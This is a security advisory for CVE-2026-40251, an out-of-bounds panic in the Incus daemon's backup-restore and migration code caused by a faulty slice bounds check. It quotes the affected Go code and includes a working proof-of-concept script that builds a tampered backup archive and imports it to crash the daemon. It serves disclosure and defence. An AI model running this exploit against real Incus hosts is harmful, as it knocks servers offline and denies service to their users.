CVE-2026-40251: Incus out-of-bounds panic in snapshot metadata handling allows denial of service

Summary Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.

Details The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays. The same flawed pattern also appears in the migration path.

When iterating through physical snapshots provided in a backup archive, the loop uses the index i to look up corresponding metadata in the parsed Config.Snapshots and Config.VolumeSnapshots slices. To ensure that the metadata slice is long enough, the code uses the guard condition len(slice) >= i-1. This check is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds, including when i >= len(slice), triggering a runtime panic.

An attacker can trigger this by submitting a backup archive that contains physical snapshot directories, which drive the loop variable i, while supplying a tampered index.yaml with an empty or truncated snapshot metadata array. This causes the daemon to index beyond the end of the metadata slice and crash, resulting in immediate denial of service on the node.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go

Affected Code: func (b backend) CreateInstanceFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op operations.Operation) (func(instance.Instance) error, revert.Hook, error) { [...] postHook := func(inst instance.Instance) error { [...] for i, backupFileSnap := range srcBackup.Snapshots { var volumeSnapDescription string var volumeSnapConfig map[string]string var volumeSnapExpiryDate time.Time var volumeSnapCreationDate time.Time

// Check if snapshot volume config is available for restore and matches snapshot name. if srcBackup.Config != nil { if len(srcBackup.Config.Snapshots) >= i-1 && srcBackup.Config.Snapshots[i] != nil && srcBackup.Config.Snapshots[i].Name == backupFileSnap { // Use instance snapshot's creation date if snap info available. volumeSnapCreationDate = srcBackup.Config.Snapshots[i].CreatedAt }

if len(srcBackup.Config.VolumeSnapshots) >= i-1 && srcBackup.Config.VolumeSnapshots[i] != nil && srcBackup.Config.VolumeSnapshots[i].Name == backupFileSnap { // If the backup restore interface provides volume snapshot config use it, // otherwise use default volume config for the storage pool. volumeSnapDescription = srcBackup.Config.VolumeSnapshots[i].Description volumeSnapConfig = srcBackup.Config.VolumeSnapshots[i].Config

if srcBackup.Config.VolumeSnapshots[i].ExpiresAt != nil { volumeSnapExpiryDate = srcBackup.Config.VolumeSnapshots[i].ExpiresAt }

// Use volume's creation date if available. if !srcBackup.Config.VolumeSnapshots[i].CreatedAt.IsZero() { volumeSnapCreationDate = srcBackup.Config.VolumeSnapshots[i].CreatedAt } } }

[...] } [...] } [...] }

[...]

func (b backend) CreateInstanceFromMigration(inst instance.Instance, conn io.ReadWriteCloser, args localMigration.VolumeTargetArgs, op operations.Operation) error { [...] if !isRemoteClusterMove || args.StoragePool != "" { for i, snapshot := range args.Snapshots { snapName := snapshot.GetName() newSnapshotName := drivers.GetSnapshotVolumeName(inst.Name(), snapName) snapConfig := vol.Config() // Use parent volume config by default. snapDescription := volumeDescription // Use parent volume description by default. snapExpiryDate := time.Time{} snapCreationDate := time.Time{}

// If the source snapshot config is available, use that. if srcInfo != nil && srcInfo.Config != nil { if len(srcInfo.Config.Snapshots) >= i-1 && srcInfo.Config.Snapshots[i] != nil && srcInfo.Config.Snapshots[i].Name == snapName { // Use instance snapshot's creation date if snap info available. snapCreationDate = srcInfo.Config.Snapshots[i].CreatedAt }

if len(srcInfo.Config.VolumeSnapshots) >= i-1 && srcInfo.Config.VolumeSnapshots[i] != nil && srcInfo.Config.VolumeSnapshots[i].Name == snapName { // Check if snapshot volume config is available then use it. snapDescription = srcInfo.Config.VolumeSnapshots[i].Description snapConfig = srcInfo.Config.VolumeSnapshots[i].Config

if srcInfo.Config.VolumeSnapshots[i].ExpiresAt != nil { snapExpiryDate = srcInfo.Config.VolumeSnapshots[i].ExpiresAt }

// Use volume's creation date if available. if !srcInfo.Config.VolumeSnapshots[i].CreatedAt.IsZero() { snapCreationDate = srcInfo.Config.VolumeSnapshots[i].CreatedAt } } }

[...] } } [...] }

PoC

The following PoC demonstrates that a tampered instance backup archive containing physical snapshot directories but an empty snapshot metadata array can trigger an out-of-bounds panic during restore.

Step 1: Generate a valid backup and tamper with its snapshot metadata

From an Incus client with access to the target server, create a minimal instance, create a snapshot, export it, and then modify the exported index.yaml so that the physical snapshot directory remains present while the nested snapshot metadata arrays are emptied.

Commands: cat <<'EOF' > pocsnapshotbounds.sh #!/bin/bash set -e

BASENAME="base-$(date +%s)" PANICNAME="panic-$(date +%s)"

incus init images:alpine/edge "$BASENAME" --project default incus snapshot create "$BASENAME" snap0 --project default incus export "$BASENAME" validsnapshotbase.tar.gz --project default

mkdir -p extractsnapshotbounds tar -xzf validsnapshotbase.tar.gz -C extractsnapshotbounds/ chmod -R u+rwX extractsnapshotbounds/

python3 -c " import os import sys

base = '$BASENAME' panic = '$PANICNAME'

with open('extractsnapshotbounds/backup/index.yaml', 'r') as f: lines = f.read().splitlines()

out = [] inskip = False skipindent = 0

for line in lines: line = line.replace(base, panic) indent = len(line) - len(line.lstrip())

if inskip: if not line.strip(): continue if indent > skipindent or (indent == skipindent and line.lstrip().startswith('-')): continue else: inskip = False

if indent > 0 and (line.lstrip().startswith('snapshots:') or line.lstrip().startswith('volumesnapshots:')): out.append(line.split(':')[0] + ': []') inskip = True skipindent = indent continue

out.append(line)

with open('extractsnapshotbounds/backup/index.yaml', 'w') as f: f.write('\n'.join(out)) "

cd extractsnapshotbounds/ tar -czf ../exploitsnapshotboundspanic.tar.gz backup/ cd ..

rm -rf extractsnapshotbounds/ validsnapshotbase.tar.gz echo "[+] PoC Tarball Created: exploitsnapshotboundspanic.tar.gz" EOF

bash pocsnapshotbounds.sh

Result: [+] PoC Tarball Created: exploitsnapshotboundspanic.tar.gz

Step 2: Trigger the vulnerable restore path

From the same Incus client, import the crafted archive.

Command: incus import exploitsnapshotboundspanic.tar.gz --project default

Result: Error: websocket: close 1006 (abnormal closure): unexpected EOF

Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)